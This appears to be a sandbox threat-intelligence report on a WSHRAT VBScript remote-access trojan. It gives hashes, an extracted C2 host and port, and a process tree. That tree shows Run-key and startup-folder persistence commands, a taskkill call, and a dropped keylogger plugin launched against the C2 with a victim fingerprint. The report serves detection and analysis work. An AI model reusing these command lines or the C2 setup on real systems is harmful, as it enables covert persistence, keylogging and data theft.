wshrat | f44a15168c937d547a57015ccdf034d5f958fa9e9a159e09730b09acb17124dc

General

Target

jun17.vbs
Size

832KB
MD5

9eb84b410320b27a000a848a1c22b91c
SHA1

7b84f1301c73993648f0bdf254f1fc202a12aab8
SHA256

f44a15168c937d547a57015ccdf034d5f958fa9e9a159e09730b09acb17124dc
SHA512

9ab878e70322df08ebe934e18b30d7b151f49a27ca99fafefa77fdd81ef3ed05700671d0e0dc22842355995fd2c5dc39442d60a9559635eda11ca17194d2d203
SSDEEP

1536:gAvBzLBDsQjzNGDKJJJcSKqBtW4apIzPmdhpd:lzLBDsQjzNGDKJJJcSKqBscPmdhpd

Score

10^/10

wshrat persistence trojan

Malware Config

Extracted

Family

wshrat

C2

http://jinvestments.duckdns.org:7044

Signatures

WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
trojan wshrat

Blocklisted process makes network request 26 IoCs

flow	pid	Process
4	1796	wscript.exe
6	1796	wscript.exe
8	1796	wscript.exe
9	1796	wscript.exe
10	1796	wscript.exe
11	1796	wscript.exe
12	1796	wscript.exe
13	1796	wscript.exe
15	1796	wscript.exe
16	1796	wscript.exe
17	1796	wscript.exe
19	1796	wscript.exe
20	1796	wscript.exe
21	1796	wscript.exe
23	1796	wscript.exe
24	1796	wscript.exe
25	1796	wscript.exe
27	1796	wscript.exe
28	1796	wscript.exe
29	1796	wscript.exe
31	1796	wscript.exe
32	1796	wscript.exe
33	1796	wscript.exe
35	1796	wscript.exe
36	1796	wscript.exe
37	1796	wscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jun17.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jun17.vbs	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
2516	kl-plugin.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1340930862-1405011213-2821322012-1000\Software\Microsoft\Windows\CurrentVersion\Run\jun17 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\jun17.vbs\""	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jun17 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\jun17.vbs\""	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1340930862-1405011213-2821322012-1000\Software\Microsoft\Windows\CurrentVersion\Run\jun17 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\jun17.vbs\""	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jun17 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\jun17.vbs\""	WScript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

evasion

pid	Process
2652	taskkill.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2652	taskkill.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2516	kl-plugin.exe
2516	kl-plugin.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2468 wrote to memory of 1796	2468	WScript.exe	28
PID 2468 wrote to memory of 1796	2468	WScript.exe	28
PID 2468 wrote to memory of 1796	2468	WScript.exe	28
PID 1796 wrote to memory of 2796	1796	wscript.exe	30
PID 1796 wrote to memory of 2796	1796	wscript.exe	30
PID 1796 wrote to memory of 2796	1796	wscript.exe	30
PID 2796 wrote to memory of 2652	2796	cmd.exe	32
PID 2796 wrote to memory of 2652	2796	cmd.exe	32
PID 2796 wrote to memory of 2652	2796	cmd.exe	32
PID 1796 wrote to memory of 2516	1796	wscript.exe	33
PID 1796 wrote to memory of 2516	1796	wscript.exe	33
PID 1796 wrote to memory of 2516	1796	wscript.exe	33
PID 1796 wrote to memory of 2516	1796	wscript.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\jun17.vbs"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2468
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\jun17.vbs"
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c taskkill /F /IM kl-plugin.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2796
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM kl-plugin.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2652
- - C:\Users\Admin\AppData\Roaming\kl-plugin.exe
    "C:\Users\Admin\AppData\Roaming\kl-plugin.exe" jinvestments.duckdns.org 7044 "WSHRAT|F4C153DD|TICCAUTD|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 6/17/2024|Visual Basic-v2.0|GB:United Kingdom" 1
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:2516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DODQ7AEY\json[1].json

Filesize
297B

MD5
be2ba1a8c142b5fa2178396ac67cb7d8

SHA1
b7c3d209d9c95d4b67d7ffb3c777d07f398260a5

SHA256
1191fa5928ed7ebf51830c0e601a327fb6480e4f35d9f96962c828b5b45ea260

SHA512
cca824422ebcc194e96c6af6c66160409b6c4f9e30af387921ad55712fc4316866e7ac3b2806427f7e06e43e99ef56e612738261f8d38fb58ef2758dc13c9204

Download Submit
C:\Users\Admin\AppData\Roaming\jun17.vbs

Filesize
832KB

MD5
9eb84b410320b27a000a848a1c22b91c

SHA1
7b84f1301c73993648f0bdf254f1fc202a12aab8

SHA256
f44a15168c937d547a57015ccdf034d5f958fa9e9a159e09730b09acb17124dc

SHA512
9ab878e70322df08ebe934e18b30d7b151f49a27ca99fafefa77fdd81ef3ed05700671d0e0dc22842355995fd2c5dc39442d60a9559635eda11ca17194d2d203

Download Submit
C:\Users\Admin\AppData\Roaming\kl-plugin.exe

Filesize
25KB

MD5
7099a939fa30d939ccceb2f0597b19ed

SHA1
37b644ef5722709cd9024a372db4590916381976

SHA256
272e64291748fa8be01109faa46c0ea919bf4baf4924177ea6ac2ee0574f1c1a

SHA512
6e179a32b3091beee71d425248ae56495e31e9df569159a93af5826ddef28fba904ae4810d3ca2da45fe6dc8be1eeaecf71e8225b3e605f22f41f4e46d1cf721

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads